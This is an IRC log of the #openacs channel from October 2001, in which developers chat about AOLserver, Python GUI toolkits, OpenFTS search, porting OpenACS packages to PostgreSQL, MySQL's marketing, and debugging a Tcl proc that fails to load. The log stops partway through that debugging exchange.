IRC log of openacs on 2001-10-30

Timestamps are in UTC.

00:00:05 [talli]

i hear he's a smarty pants

00:00:30 [hazmat]

talli: well, i guess that depends on what you want out of it, but i've learned alot about aolserver and other stuff from the list, its pretty low traffic..

00:00:47 [talli]

i am mostly interested in learning about aolserver 4

00:01:00 [talli]

unfortunately, it seems you need to be registered to look through the archives

00:01:08 [hazmat]

talli: more than that, he's not too condescending about, unlike someother people i know....

00:01:39 [talli]

like who? :)

00:02:37 [hazmat]

umm... this space is being logged. lets just say, i talked to some people at ad locally and they agree with my op. after the experience of working with him.

00:03:10 [rbm]

hazmat: if you put a # in front of your phrase, it won't get logged

00:03:30 [hazmat]

speaking of which ad closed down berekely and don't have an office in la anymore.

00:03:53 [rbm]

I had a friend who worked at the Berkeley office :(

00:04:29 [rbm]

they probably moved him to another office I think. He was the java man

00:05:16 [rbm]

* rbm goes into #mysql to look at what they are saying

00:07:11 [rbm]

heheh

00:09:04 [graszew]

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00:12:06 [talli]

i'm actually quite amazed by how poorly functioning slashdot is

00:12:08 [talli]

oh well

00:13:24 [rbm]

It runs on MySQL. What would you expect?

00:14:05 [talli]

perl/mysql. not that perl is bad.

00:14:20 [talli]

but those are usually the ingredients of ugly hacks

00:14:23 [rbm]

Perl can be very bad.

00:14:24 [talli]

for ugly hacks

00:14:39 [rbm]

You have to force yourself to write reasonably readable code in Perl.

00:14:50 [rbm]

!#$%!(#$! is probably a valid Perl expression

00:15:06 [talli]

i know people that prefer perl to their wives.

00:15:15 [talli]

i don't know what i going on in their lives.

00:15:43 [rbm]

The abundance Perl modules is what is awesome. It gives a great deal of power to the language. And CPAN rocks

00:15:55 [rbm]

s/^Perl/of Perl/

00:16:05 [hazmat]

its coming, its coming....

00:16:25 [rbm]

hazmat: Yeah, how's the Python version of CPAN coming?

00:16:33 [hazmat]

have you guys ever checked out activestate?

00:16:48 [rbm]

Which one?

00:16:58 [rbm]

I've installed ActiveTcl and ActivePython in a couple Win boxen

00:17:20 [hazmat]

no the web site, its become quite fantastic, thats what i regard as my competition.

00:17:24 [hazmat]

not cpan

00:17:37 [hazmat]

aspn.activestate.com i think

00:17:43 [rbm]

why is it your competition?

00:17:54 [talli]

cpan may be cool, but the site is down

00:18:07 [talli]

that's not so neat

00:18:13 [rbm]

cpan is down?

00:18:14 [talli]

maybe my net connection just sucks

00:18:15 [hazmat]

rbm: its going allright, i just started the openacs version of the data model after archiving the snapshot.

00:18:33 [talli]

brb

00:18:38 [talli]

talli has quit

00:18:42 [rbm]

hazmat: ?? What are you talking about?

00:18:44 [hazmat]

snapshot of the datamodel prior to the openacs.

00:18:55 [hazmat]

i wasn't originally going to use the openacs

00:19:12 [hazmat]

so i've started to adapt the datamodel to it.

00:19:27 [rbm]

oh, I see.

00:20:06 [rbm]

I was kind of turned off that activestate is helping M$ to market a solution to move web apps from Linux/UNIX to Win2K

00:20:16 [hazmat]

why is AS my competition, long story... outline version, i don't trust them, they're creating a closed source version of a python repository, and they have a vested interset in their own distribution.

00:20:38 [hazmat]

of python/perl. etc.

00:20:48 [talli]

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00:20:51 [hazmat]

that said there are a lot of really cool, really smart people their

00:20:55 [hazmat]

s/there

00:21:42 [hazmat]

which is part of the problem, AS takes the cream of some of the scripting communities and their output is no longer geared toward what could have been of more benefit to the community.

00:22:29 [hazmat]

that said the py/perl integration work they did under contract to digital creations (zope people) is incredible and open source as is pyxpcom (the foundation for komodo: mozilla component techonology)

00:22:56 [rbm]

yeah. That's true.

00:23:12 [rbm]

It almost seems like they just want to get the best of open source and make it proprietary

00:23:22 [hazmat]

embrace and extend...

00:23:27 [rbm]

yep

00:26:31 [rbm]

hazmat: Let me ask you this, since you know Python better than me..

00:26:41 [rbm]

hazmat: have you done GUI programming in Python?

00:26:49 [hazmat]

yes

00:27:12 [rbm]

I'm looking for something in Python that I can run from within Linux, Win32 and Mac.

00:27:33 [rbm]

I've looked at wxWindow, but it seems that the Mac version of wxPython is not working.

00:27:35 [hazmat]

is this a commercial product

00:27:43 [rbm]

tkinter I know that works.

00:27:52 [rbm]

hazmat: commercial yes, but gpl'd

00:28:07 [hazmat]

if you can afford qt, get qt

00:28:12 [hazmat]

pyqt rocks:)

00:28:12 [rbm]

I'm still on the design stage

00:28:32 [rbm]

Byt Qt only works on Mac OS X. I need it to work on < X

00:29:23 [hazmat]

tkinter widgets are ... well their ugly and so basic., of course their also very flexible and mature, lets just say i did one contract with tkinter and i will *never* use it again

00:29:38 [rbm]

oh. why is that?

00:29:54 [hazmat]

pygtk is ok, it hides alot of the ugliness of gtk's pointers and casting

00:31:00 [rbm]

* rbm looks at Komodo

00:32:35 [hazmat]

tkinter, while it was easy to setup and get going, the lack of some widgets that i take for granted annoyed the heck out of me (can you say file dialog). if its you're cup of tea, go for it...

00:33:02 [rbm]

I thought tk had a file dialog. I'm pretty sure I saw it while playing with TclPro

00:33:12 [hazmat]

rbm: thats another possiblity if you dig on xml stuff like xul/rdf and component programming, mozilla is an application framework.

00:33:38 [rbm]

hazmat: So you're suggesting me to use the mozilla gui stuff?

00:34:19 [hazmat]

rbm: i know i looked around for one from python, and even had a nice book on python and tkinter (grayson's book is awesome) never found one.

00:35:32 [hazmat]

rbm: mozilla is probably way overkill, i'm just tossing it in the ballpark. unless you've got some familiarity with it... it might be hard, oth take a look at some projects at mozdev.org.

00:36:25 [rbm]

hmmm. "Python Cross-Platform COM (PyXPCOM) is ActiveState's bindings between Python and XPCOM, Mozilla's cross-platform component model."

00:37:33 [hazmat]

yes, but you can also use javascript

00:37:56 [hazmat]

check out mark hammonds slides from osconn @ AS.com

00:38:28 [hazmat]

almost all of komodo 90%+ was built in python and xpcom

00:39:14 [rbm]

cool

00:39:25 [hazmat]

with a little javascript for xbel bindings and c for some stuff that wasn't exposed to xpcom and some extra work for embedding scintilla, the rest is all xml based stuff rdf/xul/xbel/css

00:40:06 [rbm]

What's the license for Komodo?

00:40:43 [rbm]

Hmmm, I think I found it.

00:40:51 [rbm]

It's proprietary :(

00:41:14 [hazmat]

commericial

00:41:49 [hazmat]

you can get noncommericial licenses though...

00:42:41 [hazmat]

AS occasionally gives out commericial licenses too :)

00:44:11 [hazmat]

check out some of the AS talks from osconn if you're interested in mozilla http://www.activestate.com/Corporate/Events/TradeShows/index.html

00:45:08 [davb]

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00:46:26 [rbm]

hazmat: the catch in the way I need things done is that one non-programmer needs to be able to build some screens for the system

00:46:36 [rbm]

so I'll probably need a GUI builder of sorts

00:51:30 [hazmat]

yah, that kind knocks mozilla out of the picture... its a beast of a lizard :)

00:51:54 [hazmat]

for pygtk there is guile, for pyqt u can use qt designer (which for qt3.0 is awesome).

00:51:54 [rbm]

heheh

00:52:06 [rbm]

I hear Qt is great.

00:52:19 [rbm]

Have you looked at PythonWorks?

00:52:43 [graszew]

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00:52:58 [rbm]

ugh. everything is in .ppt

00:53:05 [hazmat]

yes, know way i could afford it. they (secretlabs.com) do some fairly interesting work in qt. soffice

00:53:13 [hazmat]

s/qt/tkinter

00:53:47 [hazmat]

but they're also the rewriting it tkinter3000 and i believe they some work on the original bindings...

00:54:00 [rbm]

PythonWorks? I thought it cost like $300. I can't afford it either. It's work who will pay for it

00:54:03 [hazmat]

pythonworks is a non standard ide though... it takes a little getting used to

00:54:23 [rbm]

"non-standard" ide? Is there a standard for IDEs?

00:55:34 [hazmat]

after a fashion, i think yes. for python work i like wingide.com, but then it also has emacs binding emulation :)

00:59:58 [hazmat]

later folks, gotta go

01:00:21 [rbm]

hazmat: Thanks.

01:01:05 [hazmat]

rbm: np

01:01:11 [hazmat]

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01:03:36 [rbm]

* rbm goes home

01:29:19 [davb]

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02:03:52 [jerryasher]

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02:04:21 [jerryasher]

The RSS 1.0 says: "The only modules that ship "in the box" with RSS 1.0 are Dublin Core"

02:04:33 [jerryasher]

What does "ship 'in the box'" mean?

02:11:11 [davb]

heh, good question.

02:11:17 [davb]

* davb points to AaronSw

02:12:11 [jerryasher]

I wonder/hope it means that an RSS 1.0 doc can expect the dublin core extension to be understood by all implementations.

02:15:32 [davb]

Uh, that I doubt.

02:15:48 [davb]

But I could be wrong. Depends on definition of implementation :)

02:16:28 [jerryasher]

Well that's why I said wonder/hope as opposed to assume.

02:16:40 [davb]

right.

02:16:49 [davb]

jerryasher: have you seen the new OpenFTS search?

02:16:54 [jerryasher]

for now it's assume, that will let me code a bit more....

02:17:09 [jerryasher]

uh, what did you just do and how did you do that? and the answer is no.

02:17:22 [davb]

Look up Rael Dornfest's articles on Oreillynet.com

02:17:34 [davb]

did I do something?

02:17:46 [davb]

Probably your client did something because I mentioned your name?

02:17:52 [jerryasher]

that was it!

02:17:58 [jerryasher]

blue screen of death

02:18:02 [jerryasher]

nah kidding

02:18:05 [davb]

heh

02:18:19 [davb]

thats the new virus I named affter you.

02:18:39 [jerryasher]

interesting, thanks for passing that along then.

02:18:52 [davb]

I have a screensaver that shows the death screens for all the different OS's. I got a windows screen and said, hey I thought that I was in Linux.

02:18:53 [davb]

:)

02:18:53 [jerryasher]

can you give me a link to the article?

02:19:13 [davb]

...

02:19:38 [jerryasher]

I got it now.

02:19:43 [davb]

oops. crashed mozilla...

02:19:53 [jerryasher]

I thought maybe he wrote an article about openfts, but you are referring to his rss 1.0 docs

02:19:58 [davb]

Right.

02:20:40 [jerryasher]

* jerryasher note to me: start writing articles (ferengi's say they are more profitable

02:20:40 [jerryasher]

than answering questions on forums...)

02:20:55 [davb]

Heh.

02:22:28 [jerryasher]

Why wimpypoint sucks as it is today: I needed some I-880 traffic jam reading material so tried to print out some openacs 4 wimpies

02:22:50 [jerryasher]

wimpy really needs a "printme" link which puts all the wimpies on one page

02:23:01 [davb]

That would be cool.

02:23:07 [jerryasher]

Otherwise it is too time consuming and wasteful of paper to print them out.

02:23:23 [davb]

jerryasher: you know that saying someting needs to be done on this channel legally binds you to fix it right?

02:23:28 [davb]

:)

02:23:57 [jerryasher]

that's fine since you didn't mention any timelines in that legal contract.

02:24:04 [davb]

I never thought of that. Its the whole, its on the web you;re not supposed to print it out thing.

02:24:50 [jerryasher]

I print lots of stuff out, and the internet these days is supposed to be about being mobile and

02:24:57 [jerryasher]

not always having connectivity

02:25:07 [jerryasher]

nothing more mobile than paper

02:25:11 [davb]

Right.

02:25:45 [jerryasher]

http://www.oreillynet.com/images/print.gif

02:25:52 [davb]

bbl, I am setting up the search again.

02:26:07 [davb]

hey! where's chump. I even restarted it. This DSL is starting to really suck.

02:26:37 [jerryasher]

bbl?

02:26:47 [chump]

chump has joined #openacs

02:26:54 [jerryasher]

Oops, the (ex?) wife just called, have to talk later....

02:26:56 [jerryasher]

bye

02:29:47 [chump]

chump has quit

02:35:27 [toddfx]

toddfx has quit

02:37:13 [chump]

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02:40:13 [chump]

chump has quit

02:59:39 [talli]

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03:03:35 [davb]

argh!

03:10:35 [davb]

Yippee!

03:11:17 [rbm]

mooo

03:11:20 [davb]

chumplog searchable with OpenFTS

03:11:23 [davb]

http://dave.deepskydesign.com/search/search?q=css&t=Search

03:11:27 [davb]

Hey rbm!

03:11:40 [rbm]

hey davb. That's cool about OpenFTS. How do you like it?

03:11:48 [davb]

It is amazingly amazing.

03:11:58 [rbm]

I told you it was cool :)

03:12:09 [chump]

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03:12:34 [rbm]

lots of hits for "rbm" :-)

03:12:35 [davb]

The only problem is it takes a long time to crank out the results pages. nkd says they are working on that soon.

03:12:54 [davb]

I bet. and Psychephylax, etc.

03:13:04 [rbm]

uh oh. I have a request error further down the page where I searched for "rbm"

03:13:11 [davb]

Oops.

03:13:22 [rbm]

Request Error

03:13:22 [rbm]

can't read "offset_next": no such variable

03:13:22 [rbm]

while executing

03:13:22 [davb]

Hmmm. thought I fixed that.

03:13:22 [rbm]

"append __adp_output

03:13:34 [davb]

Ok, I am using the unfixed templates.

03:15:06 [davb]

Ok. its fixed.

03:15:08 [davb]

thanks.

03:15:39 [davb]

Now I just have to get it running on the same machine as chump so I don't have to mirror the files. Its running on my desktop/development machine right now.

03:16:37 [docwolf]

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03:16:40 [chump]

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03:16:44 [davb]

Too bad, the individual entries aren't indexed. All the summaries are less than informative.

03:16:47 [davb]

hi docwolf

03:16:59 [docwolf]

hi!

03:17:58 [davb]

It is taking the HTML as the summary instead of the body.

03:18:13 [rbm]

ugh

03:18:49 [davb]

I wonder if my mime type is screwed up.

03:20:22 [rbm]

h

03:21:41 [davb]

have fun, try not to crash my server :)

03:24:07 [rbm]

heheh

03:24:27 [rbm]

Your search results page looks like Google's :)

03:25:01 [davb]

apparenly, thats the default template for search. Not bad huh?

03:26:34 [rbm]

not at all

03:26:46 [rbm]

* rbm looks at thedesignexperience.org

03:27:03 [davb]

probably not working. THe DSL is very S L O W

03:27:16 [davb]

Or the server is screwed up. I can't tell.

03:27:54 [davb]

and I don't feel like driving over to check. But DNS and Mail are fine on the other machine.

03:28:36 [chump]

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03:28:42 [davb]

oh he's back.

03:28:44 [rbm]

It came, but very slowl

03:29:09 [rbm]

PHP has some screwed up stuff

03:29:22 [davb]

yeah. its weird. But my mail is working ok. last time the mail was screwed up.

03:29:29 [davb]

Worse than Tcl?

03:30:05 [davb]

I think I am going to bring that machine home and hook it up to the cable and try to get out of that DSL contract.

03:30:11 [rbm]

davb: worse.

03:30:18 [rbm]

* rbm now looks at photographica.org

03:30:21 [davb]

worse than ASP/VBscript?

03:30:51 [davb]

I want to upgrade them to OpenACS when I get rich and can donate a server and bandwidth.

03:31:47 [rbm]

The javascript is annoying IMHO

03:32:11 [davb]

It should close the window when you click back on the main window. (it works in IE)

03:32:23 [davb]

It screws up the whole screen in Opera.

03:33:01 [davb]

Must be just that server. the web pages on the 200Mhz mail/DNS machine with 32MB ram are nice and speedy.

03:33:12 [rbm]

So that's why whenever I Alt-Tab it closes the window.

03:33:24 [rbm]

That's even more annoying, since this is not expected behaviour

03:33:55 [davb]

Some people like it :)

03:35:00 [davb]

I am really annoyed. I updated to AOLserver 3.3+ad13 and now the server seems to be having alot of problems. Unless it suddenly got very popular...

03:35:04 [rbm]

I could get used to it. Just wasn't expecting it.

03:35:47 [davb]

Opera is the worst. It changes all the windows. Of course Opera does that will all pop-ups.

03:36:43 [davb]

definitely a server problem. I can't SSH into it from the box right next to it.

03:38:28 [davb]

weird. I wonder if its a crappy ethernet card.

03:39:28 [davb]

huh, now its working a little. very intermittent.

03:39:57 [rbm]

put an intel card there

03:40:00 [davb]

Pings are 60-70ms. sounds like a software problem.

03:40:09 [davb]

Well they are 3COM's just old.

03:41:22 [davb]

$30 for an intel card.

03:41:56 [rbm]

3Com's suck

03:42:14 [davb]

Really? They sell alot of them.

03:42:23 [rbm]

stay away from 3Coms

03:42:48 [davb]

Yeah everyone tells me that. Next time I buy one.

03:42:56 [davb]

Those were all free.

03:43:51 [davb]

do you know offhand who makes a good athlon mb?

03:44:13 [rbm]

No. I'd love to get my hands on one though.

03:45:15 [davb]

I am just window shopping to see how much a real server will cost :)

03:46:46 [chump]

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03:47:26 [rbm]

brb. Dexter's Laboratory is on :)

03:47:40 [davb]

ok

03:48:13 [jerryasher]

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03:49:13 [davb]

weird, it seems to be getting stuck trying to transfer the css stylesheets.

03:49:43 [AaronSw]

AaronSw is now known as free_at_last

03:51:11 [free_at_last]

free_at_last is now known as AaroNSw

03:51:19 [AaroNSw]

AaroNSw is now known as AaronSw

03:54:12 [davb]

http://dave.deepskydesign.com/search/search?q=aaronsw&t=Search

03:54:20 [davb]

Chump-log search for AaronSw

03:54:24 [AaronSw]

uh oh

03:55:56 [AaronSw]

If you're going to imitate Google, It'd be better if you highlighted relevant parts like Google does.

03:56:23 [davb]

It does. But I think I screwed something up.

03:56:46 [davb]

and I am too tired to fiddle with it.

03:57:59 [AaronSw]

Ooh, I love the link to: http://dave.deepskydesign.com/search/url_next@

03:58:01 [AaronSw]

heh heh heh

03:58:13 [davb]

oops.

03:59:24 [davb]

I'll have to look at the summary code. Yesterday on some other static pages I tried it worked nicely. The HTML from the chump looks ok.

03:59:31 [AaronSw]

Hmm.

04:00:27 [davb]

actually its not.

04:00:34 [davb]

at least not according to the validator.

04:01:23 [AaronSw]

Isn't it coming from XSLT?

04:01:36 [davb]

yes.

04:02:05 [davb]

anyway. it might be confused because the <html> is not first.

04:02:10 [davb]

or not. I have no idea :)

04:13:18 [davb]

acutally I think its grabbing the first 200 chars, which is always the same on those pages.

04:13:35 [AaronSw]

right

04:14:02 [davb]

I though maybe it was actually getting the content where the search terms were found. But that would be TOO col.

04:14:06 [davb]

cool.

04:14:57 [davb]

Eventually I wanted to stuff the links all in the database. Then each item would be searchable seperately.

04:21:30 [chump]

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04:22:47 [davb]

I am checking out photo-album. I hope it works.

04:23:08 [AaronSw]

I use photo-album-lite

04:23:46 [davb]

Cool? Oracle?

04:24:31 [chump]

chump has quit

04:24:51 [davb]

I checked out both. Perhaps I will try them out tomorrow. I got a digital camera and took almost 200 pictures so far.

04:33:38 [AaronSw]

Yeah, Oracle :-(

04:33:45 [AaronSw]

anybody ported it to pg yet for me?

04:34:32 [davb]

its in progress I think. Photo-album is a million times better interface than photodb.

04:34:55 [AaronSw]

Hmm, perhaps I should use Lars' his rocks

04:35:10 [davb]

Is it available?

04:35:26 [AaronSw]

I dunno... email him, I gues

04:35:33 [davb]

heh?

04:35:51 [davb]

There should be a photo attachement system for ETP soon.

04:36:14 [davb]

Luke keeps adding all these new features, so I keep putting off upgrading my site.

04:36:56 [davb]

OK. I need an interface to upload all the photos in a folder. Why hasn't anyone thought of that. I guess its a DOS issue.

04:37:17 [davb]

OF course I can just insert them with a script in psql.

04:37:57 [davb]

hmmm. photo-album seems pretty light itself.

04:38:13 [davb]

Al it has is add a folder, add an ablum, stick photos in your album.

04:38:19 [AaronSw]

davb, I coded the upload myself.

04:38:31 [AaronSw]

Maybe it's the same as photo-album-lite?

04:38:34 [davb]

Heh, of course.

04:38:45 [AaronSw]

I got so annoyed with the file upload I just scped it

04:38:51 [davb]

Yeah maybe. I wonder why there are two packages.

04:39:07 [davb]

So you can just load them in from a directory on the server? good idea.

04:40:27 [AaronSw]

yep

04:40:39 [AaronSw]

But for some reason it doesn't seem to grab the originals... I need to fix that

04:40:54 [AaronSw]

ugh, i'm so tired of coding tcl so i keep putting all this stuff off

04:41:40 [davb]

Tcl is not the prettiest langauage. I want to try Ruby one of these days. Someone has ns_ruby around somewhere.

04:42:46 [davb]

Aha. Photo-album lite is a little simpler than photo-album. Its supposed to be super easy.

04:43:03 [davb]

Upload from my server to itself is not working...

04:43:52 [AaronSw]

Perhaps it's not Tcl I don't like but remote editing of code.

04:44:09 [davb]

Oh.

04:44:23 [AaronSw]

emacs over slow connection in small window sucks

04:44:26 [davb]

Aha.

04:44:34 [AaronSw]

and tcl just makes it worse, i guess

04:44:41 [davb]

I have fast internet at both ends.

04:44:46 [davb]

I can see that.

04:44:54 [AaronSw]

Who will convert my site to PostgreSQL for me?

04:45:00 [AaronSw]

:-)

04:45:02 [davb]

Uh....

04:45:11 [davb]

yeah. How much pl/sql does it use?

04:45:36 [AaronSw]

I haven't written any

04:45:42 [davb]

Well thats good.

04:45:52 [AaronSw]

It'd just be ACS3 stuff and photo-album-lite

04:45:59 [AaronSw]

that has pl/sql

04:46:08 [davb]

Oh.

04:46:13 [davb]

Well get to work!

04:46:28 [AaronSw]

How much of ACS3 has been ported?

04:46:38 [davb]

I am just scrapping my old site and starting over. I may or may not transfer over my weblog?

04:46:41 [davb]

3.?

04:46:57 [AaronSw]

err, sorry I mean 4

04:47:06 [AaronSw]

why do I keep saying 3...

04:47:11 [davb]

Oh, most of it I suspect.

04:47:15 [AaronSw]

It's 4.1 + some CVS gunk

04:47:38 [davb]

There have been alot of fixes. I am not sure how much datamodel has changed.

04:48:08 [AaronSw]

I'm so lazy, though...

04:48:12 [davb]

Most of the pacakges have been worked on.

04:48:21 [AaronSw]

I really only use news, I guess.

04:48:31 [davb]

Well you could always rewrite it in Python :)

04:48:38 [davb]

Which site?

04:48:53 [AaronSw]

blogspace.com and logicerror.com

04:48:59 [davb]

Ok.

04:49:26 [davb]

Is there alot of custom code?

04:49:48 [AaronSw]

Not really... just all of Blogspace, and some small stuff that really isn't used anymore

04:50:00 [AaronSw]

I hate sitting and being slow because I use Oracle

04:50:06 [davb]

Ok. just curious.

04:50:09 [AaronSw]

but I also hate wasting time fighting with porting stuff

04:50:22 [AaronSw]

and SQL makes me feel so icky these days

04:50:23 [AaronSw]

<sigh />

04:50:27 [davb]

Well NOW i think I kinda have the hand of it.

04:50:42 [davb]

And most of the work has been done, the ACS stuff anyway.

04:50:48 [AaronSw]

Well that's good.

04:51:05 [davb]

I think we are going beta real soon now.

04:51:10 [AaronSw]

Great!

04:51:24 [AaronSw]

I could get laid off like Lars and do it, but that seems unlikely since i don't have a job ;)

04:51:34 [davb]

Yeah. that is tricky.

04:51:50 [davb]

Maybe Lars and Markd2 can do it.

04:52:27 [AaronSw]

Heh.

04:52:36 [davb]

I keep thinking of Metallica every time you say lars....its late...

04:52:55 [AaronSw]

Heheheh!

04:53:06 [AaronSw]

I wonder what my website would look like if _he_ ported it.

04:53:47 [davb]

docwolf dropped in a URL to a little flash movie with metallica in it... I can't find it in the search though.

04:54:24 [AaronSw]

Oh, the one where they say NAPSTER IS EVIL! and that stuff

04:54:27 [AaronSw]

?

04:54:40 [davb]

yeah!

04:55:13 [davb]

hmmmm. that day seems to have not been indexed.

04:55:49 [davb]

Also photo-album lite doesn;t use the CR. (right?)

04:56:02 [AaronSw]

I don't think so...

04:56:13 [davb]

Thats the other difference apparently.

04:56:25 [AaronSw]

Ah, that'd explain the "lite" ;)

04:56:43 [AaronSw]

Maybe I'd be better off if I just moved everything to Zope...

04:56:51 [AaronSw]

* AaronSw ducks

04:56:59 [davb]

heh. Go for it!

04:57:18 [davb]

Then I have an Access/ASP project for you!

04:57:18 [AaronSw]

I'm supposed to be learning Zope... hmmph

04:57:22 [AaronSw]

Aaah!

04:57:25 [AaronSw]

* AaronSw runs

04:57:40 [rbm]

* rbm is back

04:57:45 [davb]

Zope is interesting.

04:57:49 [AaronSw]

*pant* *pant* hmm, can't run very far on IRC.

04:57:54 [davb]

WOW! Was that the dexter marathon?

04:57:58 [davb]

:)

04:58:44 [davb]

It probably would be good to learn it so that OpenACS can steal^H^H^H^H^Hadopt all the good ideas from it.

04:58:53 [AaronSw]

Heh.

04:59:03 [rbm]

davb: No :) But there's 3 hours of Dexter's Lab saturday ;-)

04:59:10 [davb]

Cool.

04:59:14 [davb]

* davb needs to get a Tivo

04:59:19 [AaronSw]

You guys need to rename to something like Sope, or Dope.

04:59:20 [rbm]

I went for an ice cream for a change

04:59:26 [AaronSw]

Ooh, tivo.

04:59:27 [rbm]

Javuh

04:59:35 [davb]

Excellent.

04:59:35 [AaronSw]

My tivo has a Tcl webserver, but not OpenACS.

04:59:40 [davb]

Nifty.

05:00:09 [AaronSw]

I was like, who programmed this? They used all my favorite stuff: Tcl, HTTP, bash, etc.

05:00:28 [davb]

email him :)

05:00:49 [davb]

Oh yeah. acs-service-contract is the coolest thing ever. Go study it now!

05:00:54 [AaronSw]

oh?

05:01:15 [davb]

Anyway it is to me. I have no programming experience, so the evolution of OpenACS is very educational.

05:01:26 [AaronSw]

Heh...

05:01:32 [davb]

I don't know what other systems use, but its very neat.

05:01:51 [AaronSw]

It might be related to Zope's New Religion (TM): Interfaces.

05:02:01 [davb]

Also the OpenACS templating system is really nice.

05:02:07 [davb]

Yeah, probably.

05:02:44 [davb]

"Most component systems are based on the use of interfaces. Interfaces

05:02:44 [davb]

allow components to create contracts which define their functional

05:02:44 [davb]

level of reuse and customization. It also provides the infrastructure

05:02:44 [davb]

for runtime discovery of which implemented interfaces are available."

05:05:08 [rbm]

That sounds like a UMLOOPY worshipping system

05:05:28 [AaronSw]

UMLOOPY?

05:05:46 [rbm]

UMLOOPY is the OO god we came with for my CS 5700 class (OO Software Development)

05:05:53 [AaronSw]

Hehheh

05:05:57 [rbm]

He worshipps the OO gods, of which UMLOOPY is the biggest one

05:06:05 [rbm]

Notice the "UML"

05:06:09 [AaronSw]

Ah.

05:06:15 [AaronSw]

And Py?

05:06:25 [AaronSw]

Interfaces seemed stupid to me, I was like why not just look at the code itself if you want to know what it does?

05:06:26 [rbm]

We needed a cool suffix :)

05:07:39 [AaronSw]

* AaronSw thinks of ways to procrastinate...

05:07:48 [davb]

Easy. Log on to IRC :)

05:07:55 [rbm]

no kiddin

05:07:58 [davb]

I must be going, its after midnight here.

05:07:59 [rbm]

s/$/g/

05:08:15 [AaronSw]

heh, c'ya

05:08:30 [davb]

I will be back tomorrow to code some more!

05:08:40 [davb]

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05:19:39 [carter.openprojects.net]

Users on #openacs: loggy docwolf rbm Psychephylax shagster blueseed AaronSw

05:19:39 [ChanServ]

This channel is logged: http://www.blogspace.com/openacs/chatlogs/ and blogged: http://www.thedesignexperience.org/openacs/ircblog

05:39:05 [hazmat]

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06:21:56 [rbm]

wb hazmat

06:22:05 [hazmat]

hallo

06:22:22 [hazmat]

been posting to the bboards...

06:22:59 [rbm]

* rbm checks his mail

06:24:11 [hazmat]

here's a nice quote - my relational skills are so weak that i hesistate to suggest in front of such an august crowd

06:24:26 [jerryasher]

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06:24:42 [hazmat]

hi jerry

06:24:50 [jerryasher]

hi kapil

06:26:23 [hazmat]

my warm cloak of anonymity has unravled around here, or think i took it off when i came in the room.

06:26:47 [jerryasher]

I apologize. All these nick are too much for me.

06:26:53 [rbm]

"he long awaited version 4.0 of the

06:26:54 [rbm]

MySQL database is now available for

06:26:54 [rbm]

download at the MySQL website. The

06:26:54 [rbm]

new version is intended as a platform

06:26:54 [rbm]

for building mission critical, heavy load

06:26:54 [rbm]

database solutions"

06:26:59 [rbm]

Why don't they say that this is an alpha release?

06:27:02 [jerryasher]

Sides which, Dershowitz says you have a right to privacy, not to anonymity

06:28:49 [hazmat]

i remember seeing a packed mysql session at osconn, how to recover from a f*cked db...

06:29:54 [hazmat]

oh.. it wasn't that bad it was called MySQL Crash Recovery

06:32:18 [rbm]

What's sad though, is that MySQL AB is the Microsoft of open source databases. Crappy product, great marketing, lots of dishonesty.

06:33:24 [hazmat]

i think mysql is a great tool for a lot of things, i just don't know that i would call it an rdbms.

06:34:39 [rbm]

It doesn't matter what it's good for. Their marketing machine (/. included) keeps touting it as a "mission critical database system" and millions of idiots buy into it, much like M$ users.

06:35:38 [rbm]

In contrast, the PG team, not worrying about their marketing...

06:35:40 [hazmat]

i was talking to some guys at city search, their whole system is apache running mod_perl with template_tk querying oracle, the kicker was they were using mysql as in memory relational like cache.

06:36:53 [hazmat]

rbm: i think that has much to do with the project histories, projects which are heavily company backed or founded tend to have a certain degree of marketing around them, i think its the nature of business, i don't fault the product for it, as long as the community itself knows the value of the product.

06:38:03 [rbm]

I fault MySQL implementors for blatantly lying about the capabilities of their product, and for misleading users.

06:39:07 [hazmat]

aye, that is irreprehensible...

06:41:28 [hazmat]

* hazmat uses big words he doesn't know.

06:42:10 [rbm]

Their "crash me" 'benchmarks' are some of the most misleading and erroneous I've seen in the entire industry.

06:42:33 [hazmat]

rbm: i'm curious what you though about my post re an event-channel for openacs?

06:42:51 [hazmat]

the concept in general that is.

06:43:04 [Psychephylax]

Psychephylax has quit

06:43:56 [rbm]

hazmat: I don't see it.

06:44:05 [rbm]

oh. got it

06:44:36 [hazmat]

smoke break

06:44:45 [rbm]

hazmat: I'm not familiar with the issue

06:45:47 [jerryasher]

I think he means he's going to go outside for a cigarette.

06:50:53 [jerryasher]

And stop calling me Shirley

06:51:21 [jerryasher]

Only 56 shopping days....

06:53:56 [Jon_H]

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06:54:05 [rbm]

hi jon

06:54:17 [Jon_H]

hi all

06:55:37 [Jon_H]

is there any wierd things i should know about defining custom proc 's in the /tcl directory? i can only get the fist on in the file to load.

06:55:53 [Jon_H]

1st one i ment

06:56:48 [jerryasher]

Turn debug on and look in the server log. I wonder if you have a syntax error causing AOLserver to barf.

06:57:38 [Jon_H]

all its says is that its an ivailid command name

06:58:42 [Jon_H]

syatax is fine. but the first time i registered them they wern't, does aolserver hold them somwhere other than system memory

06:58:52 [jerryasher]

You definitely have a syntax error. Why is hard to determine. Make sure that you

06:59:04 [Jon_H]

im typng with one hand here excuse my typos

06:59:24 [jerryasher]

have all your quotes, squotes, brackets, squirrely brackets balanced

06:59:40 [jerryasher]

Uh, hey, take that shit to some AOL chatroom

07:00:00 [Jon_H]

its only proc idw_menu {} { return "<tag>" }

07:00:13 [Jon_H]

ok.

07:00:33 [jerryasher]

that proc looks fine.

07:00:52 [Jon_H]

i know

07:01:06 [Jon_H]

i keep searching thx

07:01:11 [jerryasher]

how did you reload the file?

07:01:18 [jerryasher]

did you stop/start the server or?

07:01:21 [Jon_H]

restarted the server

07:01:35 [jerryasher]

it doesn't hold them anywhere other than system memory

07:02:03 [Jon_H]

the file order matters

07:02:06 [Jon_H]

arrgg

07:02:09 [Jon_H]

that might be it

07:02:17 [Jon_H]

brb

07:02:33 [rbm]

Is there a way to regenerate the available file?

07:02:35 [rbm]

oops

07:04:22 [Jon_H]

no that didn't help

07:11:39 [rbm]

what's the error on the log?

07:17:49 [idware]

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07:18:16 [idware]

idware is now known as jon_h

07:18:40 [jon_h]

thats better

07:18:51 [jon_h]

rbm: ill paste it 3 lines

07:18:55 [jon_h]

[-conn0-] Error: invalid command name "idw_side_menu"

07:18:55 [jon_h]

invalid command name "idw_side_menu"

07:18:55 [jon_h]

while executing

07:18:55 [jon_h]

"idw_side_menu"

07:18:55 [jon_h]

invoked from within

07:18:55 [jon_h]

"append page_content "<br><div id=contentleft>[idw_side_menu]

07:19:42 [jerryasher]

is this in a page or in a tcl lib?

07:19:53 [jerryasher]

and where is idw_side_menu defined?

07:20:00 [jon_h]

tcl lib

07:20:04 [jerryasher]

